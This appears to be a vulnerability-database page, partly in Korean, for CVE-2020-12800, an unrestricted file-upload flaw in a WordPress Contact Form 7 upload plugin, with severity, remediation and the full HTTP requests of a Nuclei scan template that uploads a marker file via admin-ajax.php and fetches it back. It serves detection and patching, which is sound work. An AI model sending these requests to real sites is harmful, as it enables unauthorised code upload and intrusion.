🔙 목록으로 돌아가기

CVE-2020-12800: WordPress Contact Form 7 <1.3.3.3 - Remote Code Execution

TitleWordPress Contact Form 7 <1.3.3.3 - Remote Code Execution
Authordwisiswant0
SeverityCritical
ImpactSuccessful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected WordPress site.
RemediationUpdate the Contact Form 7 plugin to version 1.3.3.3 or later to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.93936
CVE IDCVE-2020-12800
CWE IDCWE-434
Tags cve cve2020 wordpress wp-plugin fileupload wp rce packetstorm intrusive codedropz vkev vuln

🔍 Vulnerability Description

WordPress Contact Form 7 before 1.3.3.3 allows unrestricted file upload and remote code execution by setting supported_type to php% and uploading a .php% file.

🌐 HTTP Request

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Connection: close
Content-Length: 800
Content-Type: multipart/form-data; boundary=---------------------------350278735926454076983690555601
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

-----------------------------350278735926454076983690555601

Content-Disposition: form-data; name="supported_type"



txt%

-----------------------------350278735926454076983690555601

Content-Disposition: form-data; name="size_limit"



5242880

-----------------------------350278735926454076983690555601

Content-Disposition: form-data; name="action"



dnd_codedropz_upload

-----------------------------350278735926454076983690555601

Content-Disposition: form-data; name="type"



click

-----------------------------350278735926454076983690555601

Content-Disposition: form-data; name="upload-file"; filename="38FQPBWatoFO5iXPbGTDhnBDL6b.txt%"

Content-Type: application/x-httpd-php



CVE-2020-12800-38FQPBWatoFO5iXPbGTDhnBDL6b

-----------------------------350278735926454076983690555601--
GET /wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/38FQPBWatoFO5iXPbGTDhnBDL6b.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-12800.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-12800.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A